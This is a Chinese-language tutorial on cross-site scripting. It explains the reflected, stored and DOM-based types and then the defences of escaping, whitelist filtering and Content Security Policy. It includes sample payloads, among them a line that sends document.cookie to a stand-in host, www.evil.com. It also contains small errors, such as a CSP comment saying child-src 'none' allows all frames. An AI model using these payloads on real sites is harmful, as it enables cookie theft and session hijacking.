💎一站式轻松地调用各大LLM模型接口,支持GPT4、智谱、星火、月之暗面及文生图 广告
[TOC] # 概述 XSS全称是Cross Site Scripting,即跨站脚本,脚本主要有两种类型:JavaScript和ActionScript。XSS发生在目标网页的目标用户的浏览器层面,当用户浏览器渲染HTML文档出现了不被预期的脚步并执行时,XSS就会发生。 将XSS代码放在awww.evil.com的alert.js上,将链接发给目标用户: ``` http://www.foo.com/xss.html#document.write("<script/src=//www.evil.com/alert.js></script>") ``` 比如,盗取用户Cookie的脚本: ``` new Image().src="http://www.evil.com/steal.php?steal.php?data="+escape(document.cookie) ``` # 类型 XSS有三类:反射类XSS(非持久型XSS)、存储类XSS(持久型XSS)和DOM XSS。 ## 反射类XSS 发出请求时,XSS代码出现在URL中,作为输入提交到服务端,服务端解析后响应,在响应内容出现这段XSS代码,最后浏览器解析执行。 **例子一:** http://www.foo.com/xss/reflect1.php的代码 ``` <?php echo $_GET['x']; ?> ``` 输入x的值未经过任何过滤就直接输出,可以提交: ``` http://www.foo.com/xss/flect1php?x=<script>alert(1)</script> ``` 服务端解析时,echo完整输出script&gt;alert\(1\)&lt;/script&gt;到响应体,然后浏览器解析执行。 **例子二:** http://www.foo.com/xss/reflect2.php的代码 ``` <?php header('Location: '.$_GET['x']); ?> ``` 输入x的值作为响应头部的Location字段值输出,发生跳转时,触发XSS的其中一种方式如下: ``` http://www.foo.com/book/reflect2.php?x=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ%2b ``` 跳转到data:协议,text/html是MIME灵活Content-Type,表明文档类型,base64指后面字符串的编码方式,这段base64解码后为 ``` <script>alert(document.domain)</script> ``` ## 存储型XSS 存储型XSS提交的XSS代码会存储在服务端(不管是数据库、内存还是文件系统等),下次请求目标页面时不用再提交XSS代码。 最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板,就触发了XSS攻击。 ## DOM XSS DOM XSS的XSS代码不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析。 ### 常见的输入点 * ducoment.URL * document.URLUnencoded * document.location\(以及location的多个属性\) * document.referrer * window.location\(以及location的多个属性\) * window.name * xhr请求返回的数据 * document.cookie * 表单项的值 ### 常见的输出点有 * 直接输出HTML内容、如 * document.write\(...\) * document.writeln\(...\) * document.body.innerHtml=... * 直接修改DOM树(包括DHTML事件),如: * document.forms\[0\].action=...(以及其他集合,如:一些对象的src/href属性等) * document.attachEvent\(...\) * document.create\(...\) * document.execCommand\(...\) * document.body. ... \(直接通过body对象访问DOM\) * window.attachEvent\(...\) * 替换document URL,如: * document.location=...(以及直接赋值给location的href、host、hostname属性) * document.location.hostname=... * document.location.replace\(...\) * document.location.assign\(...\) * document.URL=... * window.navigator\(...\) * 打开或修改新窗口,如: * document.open\(...\) * window.open\(...\) * window.location.href=...(以及直接赋值给location的href、host、hostname属性) * 直接执行脚本,如: * eval\(...\) * window.execScripteval\(...\) * window.setIntervaleval\(...\) * window.setTimeouteval\(...\) # 哪里可以出现 越来越多的客户端软件支持HTML解析和JavaScript解析,如HTML文档、XML文档、Flash、PDF、QQ、一些音乐播放器、一些浏览器的功能界面等。在不同域范围内执行的XSS权限也不一样。 # 危害 * 挂马 * 盗取用户Cookie * Dos(拒绝服务)客户端浏览器 * 钓鱼攻击、高级钓鱼技巧 * 编写针对性的XSS病毒,删除目标文章、恶意篡改数据、嫁祸 * 挟持用户Web行为,甚至进一步渗透内网 * 爆发Web 2.0蠕虫 * 蠕虫式的DDoS攻击 * 蠕虫式挂马攻击、刷广告、刷流量、破坏网上数据 # 防御 ## 转义字符 首先,对于用户的输入应该是永远不信任的。最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义 ~~~ function escape(str) { str = str.replace(/&/g, '&amp;') str = str.replace(/</g, '&lt;') str = str.replace(/>/g, '&gt;') str = str.replace(/"/g, '&quto;') str = str.replace(/'/g, '&#39;') str = str.replace(/`/g, '&#96;') str = str.replace(/\//g, '&#x2F;') return str } ~~~ 通过转义可以将攻击代码`<script>alert(1)</script>`变成 ~~~ // -> &lt;script&gt;alert(1)&lt;&#x2F;script&gt; escape('<script>alert(1)</script>') ~~~ 但是对于显示富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。对于这种情况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式。 ~~~ const xss = require('xss') let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>') // -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt; console.log(html) ~~~ 以上示例使用了`js-xss`来实现,可以看到在输出中保留了`h1`标签且过滤了`script`标签。 ## 内容安全策略(CSP) 内容安全策略   ([CSP](https://developer.mozilla.org/en-US/docs/Glossary/CSP "CSP: A CSP (Content Security Policy) is used to detect and mitigate certain types of website related attacks like XSS and data injections.")) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 ([XSS](https://developer.mozilla.org/en-US/docs/Glossary/XSS "XSS: REDIRECT Cross-site scripting [en-US]")) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。 CSP 被设计成完全向后兼容(除CSP2 在向后兼容有明确提及的不一致;  更多细节查看[这里](https://www.w3.org/TR/CSP2) 章节1.1)。不支持CSP的浏览器也能与实现了CSP的服务器正常合作,反之亦然:不支持 CSP 的浏览器只会忽略它,如常运行,默认为网页内容使用标准的同源策略。如果网站不提供 CSP 头部,浏览器也使用标准的[同源策略](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy "En/Same origin policy for JavaScript")。 为使CSP可用, 你需要配置你的网络服务器返回  [`Content-Security-Policy`](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy "此页面仍未被本地化, 期待您的翻译!")  HTTP头部 ( 有时你会看到一些关于`X-Content-Security-Policy`头部的提法, 那是旧版本,你无须再如此指定它)。 除此之外, [`<meta>`](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/meta "HTML  元素表示那些不能由其它HTML元相关元素 (, , , 或 ) 之一表示的任何元数据信息.")  元素也可以被用来配置该策略 ### 使用CSP 常可以通过两种方式来开启 CSP: 1. 设置 HTTP Header 中的`Content-Security-Policy` 2. 设置`meta`标签的方式`<meta http-equiv="Content-Security-Policy">` 这里以设置 HTTP Header 来举例 * 只允许加载本站资源 ~~~ Content-Security-Policy: default-src ‘self’ ~~~ * 只允许加载 HTTPS 协议图片 ~~~ Content-Security-Policy: img-src https://* ~~~ * 允许加载任何来源框架 ~~~ Content-Security-Policy: child-src 'none' ~~~ # 参考资料 [内容安全策略( CSP ) - HTTP | MDN](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP) [前端面试之道 - 掘进小册](https://juejin.im/book/5bdc715fe51d454e755f75ef/section/5bdc721851882516c33430a2)